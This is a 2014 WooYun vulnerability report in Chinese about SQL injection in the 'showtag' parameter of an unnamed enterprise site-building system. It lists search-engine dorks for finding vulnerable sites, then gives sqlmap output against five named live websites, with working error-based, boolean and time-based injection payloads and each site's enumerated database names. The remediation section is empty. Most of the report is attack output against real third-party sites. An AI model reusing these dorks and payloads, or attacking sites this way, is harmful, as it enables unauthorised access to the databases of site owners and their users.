当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-063723

漏洞标题:某企业建站系统一处sql注入#2

相关厂商:某企业建站系统

漏洞作者: Mosuan

提交时间:2014-06-06 11:47

修复时间:2014-09-04 11:48

公开时间:2014-09-04 11:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-06: 细节已通知厂商并且等待厂商处理中
2014-06-11: 厂商已经确认,细节仅向厂商公开
2014-06-14: 细节向第三方安全合作伙伴开放
2014-08-05: 细节向核心白帽子及相关领域专家公开
2014-08-15: 细节向普通白帽子公开
2014-08-25: 细节向实习白帽子公开
2014-09-04: 细节向公众公开

简要描述:

女神是什么东西?

详细说明:

边测试边发动真蛋疼。。还有那个白帽子这个时候没睡觉?前面的漏洞求审核啊!!
google关键词

inurl:product/class/index.php?showtag=


百度关键词

关于我们| 联系方式| 客户留言| 人才招聘| 相关知识| 友情链接 版权所有 Copyright


百度出来的网站去掉路径然后加上

product/class/index.php?showtag=1


例如

http://www.xxx.net/product/class/index.php?showtag=1


随机选几个进行sql注入

注入地址:http://www.wjj.cc/product/class/index.php?showtag=%E5%88%86%E9%85%8D%E9
%98%80
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 00:52:05
[00:52:05] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.wjj.cc\session' as session file
[00:52:05] [INFO] testing connection to the target url
[00:52:06] [INFO] testing if the url is stable, wait a few seconds
[00:52:18] [INFO] url is stable
[00:52:18] [INFO] testing if GET parameter 'showtag' is dynamic
[00:52:22] [INFO] confirming that GET parameter 'showtag' is dynamic
[00:52:27] [INFO] GET parameter 'showtag' is dynamic
[00:52:37] [INFO] heuristic test shows that GET parameter 'showtag' might be inj
ectable (possible DBMS: MySQL)
[00:52:37] [INFO] testing sql injection on GET parameter 'showtag'
[00:52:37] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:52:51] [INFO] GET parameter 'showtag' is 'AND boolean-based blind - WHERE or
HAVING clause' injectable
[00:52:51] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[00:52:52] [INFO] GET parameter 'showtag' is 'MySQL >= 5.0 AND error-based - WHE
RE or HAVING clause' injectable
[00:52:52] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:52:54] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[00:53:54] [INFO] GET parameter 'showtag' is 'MySQL > 5.0.11 AND time-based blin
d' injectable
[00:53:54] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[00:53:55] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[00:53:59] [INFO] target url appears to have 1 columns in query
[00:54:01] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
[00:54:01] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'showtag' is vulnerable. Do you want to keep testing the others (i
f any)? [y/N] y
[00:56:21] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
sqlmap identified the following injection points with a total of 25 HTTP(s) requ
ests:
---
Place: GET
Parameter: showtag
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: showtag=???' AND 4224=4224 AND 'UZzv'='UZzv
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: showtag=???' AND (SELECT 8570 FROM(SELECT COUNT(*),CONCAT(0x3a6d646
33a,(SELECT (CASE WHEN (8570=8570) THEN 1 ELSE 0 END)),0x3a7a616d3a,FLOOR(RAND(0
)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'SneM'='SneM
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: showtag=???' AND SLEEP(5) AND 'BsYO'='BsYO
---
[00:56:21] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5.0
[00:56:21] [INFO] fetching database names
[00:56:22] [INFO] the SQL query used returns 2 entries
[00:56:23] [INFO] retrieved: information_schema
[00:56:24] [INFO] retrieved: wjjcc
available databases [2]:
[*] information_schema
[*] wjjcc
[00:56:24] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.wjj.cc'


注入地址:http://www.0570banjia.com/product/class/index.php?showtag=1
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 00:47:20
[00:47:20] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.0570banjia.com\session' as session file
[00:47:20] [INFO] testing connection to the target url
[00:47:21] [INFO] testing if the url is stable, wait a few seconds
[00:47:24] [INFO] url is stable
[00:47:24] [INFO] testing if GET parameter 'showtag' is dynamic
[00:47:28] [WARNING] GET parameter 'showtag' appears to be not dynamic
[00:47:30] [INFO] heuristic test shows that GET parameter 'showtag' might be inj
ectable (possible DBMS: MySQL)
[00:47:30] [INFO] testing sql injection on GET parameter 'showtag'
[00:47:30] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:47:49] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[00:47:57] [INFO] GET parameter 'showtag' is 'MySQL >= 5.0 AND error-based - WHE
RE or HAVING clause' injectable
[00:47:57] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:47:59] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[00:48:00] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[00:48:04] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[00:48:13] [INFO] target url appears to have 1 columns in query
[00:48:17] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
[00:48:17] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'showtag' is vulnerable. Do you want to keep testing the others (i
f any)? [y/N] y
sqlmap identified the following injection points with a total of 27 HTTP(s) requ
ests:
---
Place: GET
Parameter: showtag
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: showtag=1' AND (SELECT 2192 FROM(SELECT COUNT(*),CONCAT(0x3a7466773
a,(SELECT (CASE WHEN (2192=2192) THEN 1 ELSE 0 END)),0x3a786f6c3a,FLOOR(RAND(0)*
2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'PutX'='PutX
---
[00:48:53] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.17
back-end DBMS: MySQL 5.0
[00:48:53] [INFO] fetching database names
[00:48:56] [INFO] the SQL query used returns 2 entries
[00:48:58] [INFO] retrieved: information_schema
[00:49:00] [INFO] retrieved: a0625184538
available databases [2]:
[*] a0625184538
[*] information_schema
[00:49:00] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.0570banjia.com'


注入地址:http://www.shqichezulin.com/product/class/index.php?showtag=%E4%B8%8A%E
6%B5%B7%E5%95%86%E5%8A%A1%E7%A7%9F%E8%BD%A6
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 00:59:48
[00:59:48] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.shqichezulin.com\session' as session file
[00:59:48] [INFO] testing connection to the target url
[00:59:49] [INFO] testing if the url is stable, wait a few seconds
[00:59:50] [INFO] url is stable
[00:59:50] [INFO] testing if GET parameter 'showtag' is dynamic
[00:59:51] [INFO] confirming that GET parameter 'showtag' is dynamic
[00:59:51] [INFO] GET parameter 'showtag' is dynamic
[00:59:52] [INFO] heuristic test shows that GET parameter 'showtag' might be inj
ectable (possible DBMS: MySQL)
[00:59:52] [INFO] testing sql injection on GET parameter 'showtag'
[00:59:52] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:59:58] [INFO] GET parameter 'showtag' is 'AND boolean-based blind - WHERE or
HAVING clause' injectable
[00:59:58] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[00:59:58] [INFO] GET parameter 'showtag' is 'MySQL >= 5.0 AND error-based - WHE
RE or HAVING clause' injectable
[00:59:58] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[01:00:00] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[01:00:42] [CRITICAL] the target url responded with an unknown HTTP status code,
try to force the HTTP User-Agent header with option '--user-agent' or switch '-
-random-agent', sqlmap is going to retry the request
[01:00:42] [WARNING] most probably web server instance hasn't recovered yet from
previous timed based payload. If the problem persists please wait for few minut
es and rerun without flag T in option '--technique' (e.g. --flush-session --tech
nique=BEUS) or try to lower the value of option '--time-sec' (e.g. --time-sec=2)
[01:01:14] [INFO] GET parameter 'showtag' is 'MySQL > 5.0.11 AND time-based blin
d' injectable
[01:01:14] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[01:01:16] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[01:01:20] [INFO] target url appears to have 1 columns in query
[01:01:24] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
[01:01:24] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'showtag' is vulnerable. Do you want to keep testing the others (i
f any)? [y/N] y
[01:01:47] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
sqlmap identified the following injection points with a total of 24 HTTP(s) requ
ests:
---
Place: GET
Parameter: showtag
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: showtag=??????' AND 3560=3560 AND 'JYrU'='JYrU
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: showtag=??????' AND (SELECT 4644 FROM(SELECT COUNT(*),CONCAT(0x3a61
78693a,(SELECT (CASE WHEN (4644=4644) THEN 1 ELSE 0 END)),0x3a626e6e3a,FLOOR(RAN
D(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'CAMK'='CAMK
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: showtag=??????' AND SLEEP(5) AND 'vrtL'='vrtL
---
[01:01:47] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.2.22, PHP 5.2.17
back-end DBMS: MySQL 5.0
[01:01:47] [INFO] fetching database names
[01:01:48] [INFO] the SQL query used returns 3 entries
[01:01:49] [INFO] retrieved: information_schema
[01:01:49] [INFO] retrieved: test
[01:01:50] [INFO] retrieved: zoxocomcn
available databases [3]:
[*] information_schema
[*] test
[*] zoxocomcn
[01:01:50] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.shqichezulin.com'


注入地址:http://www.sayesfilter.com/product/class/index.php?showtag=%E9%A2%87%E5
%B0%94%E6%BB%A4%E8%8A%AF
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 01:04:21
[01:04:21] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.sayesfilter.com\session' as session file
[01:04:21] [INFO] testing connection to the target url
[01:04:22] [INFO] testing if the url is stable, wait a few seconds
[01:04:23] [INFO] url is stable
[01:04:23] [INFO] testing if GET parameter 'showtag' is dynamic
[01:04:24] [INFO] confirming that GET parameter 'showtag' is dynamic
[01:04:24] [INFO] GET parameter 'showtag' is dynamic
[01:04:25] [INFO] heuristic test shows that GET parameter 'showtag' might be inj
ectable (possible DBMS: MySQL)
[01:04:25] [INFO] testing sql injection on GET parameter 'showtag'
[01:04:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:04:29] [INFO] GET parameter 'showtag' is 'AND boolean-based blind - WHERE or
HAVING clause' injectable
[01:04:29] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[01:04:30] [INFO] GET parameter 'showtag' is 'MySQL >= 5.0 AND error-based - WHE
RE or HAVING clause' injectable
[01:04:30] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[01:04:31] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[01:05:31] [INFO] GET parameter 'showtag' is 'MySQL > 5.0.11 AND time-based blin
d' injectable
[01:05:31] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[01:05:33] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[01:05:36] [INFO] target url appears to have 1 columns in query
[01:05:37] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
[01:05:37] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'showtag' is vulnerable. Do you want to keep testing the others (i
f any)? [y/N] y
[01:05:42] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
sqlmap identified the following injection points with a total of 24 HTTP(s) requ
ests:
---
Place: GET
Parameter: showtag
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: showtag=????' AND 3212=3212 AND 'qXMY'='qXMY
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: showtag=????' AND (SELECT 3059 FROM(SELECT COUNT(*),CONCAT(0x3a6971
6e3a,(SELECT (CASE WHEN (3059=3059) THEN 1 ELSE 0 END)),0x3a646e6a3a,FLOOR(RAND(
0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'HUSu'='HUSu
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: showtag=????' AND SLEEP(5) AND 'xgEq'='xgEq
---
[01:05:42] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.17
back-end DBMS: MySQL 5.0
[01:05:42] [INFO] fetching database names
[01:05:42] [INFO] the SQL query used returns 2 entries
[01:05:43] [INFO] retrieved: information_schema
[01:05:43] [INFO] retrieved: sayesfilter
available databases [2]:
[*] information_schema
[*] sayesfilter
[01:05:43] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.sayesfilter.com'


注入地址:http://cdrcgt.com/product/class/index.php?showtag=1
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 01:10:55
[01:10:55] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\cdrcgt.com\session' as session file
[01:10:55] [INFO] testing connection to the target url
[01:10:56] [INFO] testing if the url is stable, wait a few seconds
[01:10:57] [INFO] url is stable
[01:10:57] [INFO] testing if GET parameter 'showtag' is dynamic
[01:10:58] [WARNING] GET parameter 'showtag' appears to be not dynamic
[01:10:59] [INFO] heuristic test shows that GET parameter 'showtag' might be inj
ectable (possible DBMS: MySQL)
[01:10:59] [INFO] testing sql injection on GET parameter 'showtag'
[01:10:59] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:11:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[01:11:06] [INFO] GET parameter 'showtag' is 'MySQL >= 5.0 AND error-based - WHE
RE or HAVING clause' injectable
[01:11:06] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[01:11:07] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[01:11:07] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[01:11:08] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[01:11:11] [INFO] target url appears to have 1 columns in query
[01:11:13] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
[01:11:13] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'showtag' is vulnerable. Do you want to keep testing the others (i
f any)? [y/N] y
sqlmap identified the following injection points with a total of 27 HTTP(s) requ
ests:
---
Place: GET
Parameter: showtag
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: showtag=1' AND (SELECT 8513 FROM(SELECT COUNT(*),CONCAT(0x3a7869713
a,(SELECT (CASE WHEN (8513=8513) THEN 1 ELSE 0 END)),0x3a646c773a,FLOOR(RAND(0)*
2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'bFiE'='bFiE
---
[01:11:16] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS
web application technology: Apache 2.2.21, PHP 5.2.17
back-end DBMS: MySQL 5.0
[01:11:16] [INFO] fetching database names
[01:11:16] [INFO] the SQL query used returns 3 entries
[01:11:17] [INFO] retrieved: information_schema
[01:11:17] [INFO] retrieved: cdrcgtdb
[01:11:18] [INFO] retrieved: test
available databases [3]:
[*] cdrcgtdb
[*] information_schema
[*] test
[01:11:18] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\cdrcgt.com'


漏洞证明:

详细说明

修复方案:

你们懂的额!

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2014-06-11 10:00

厂商回复:

与wooyun-2014-一并处置,不再单独评分。

最新状态:

暂无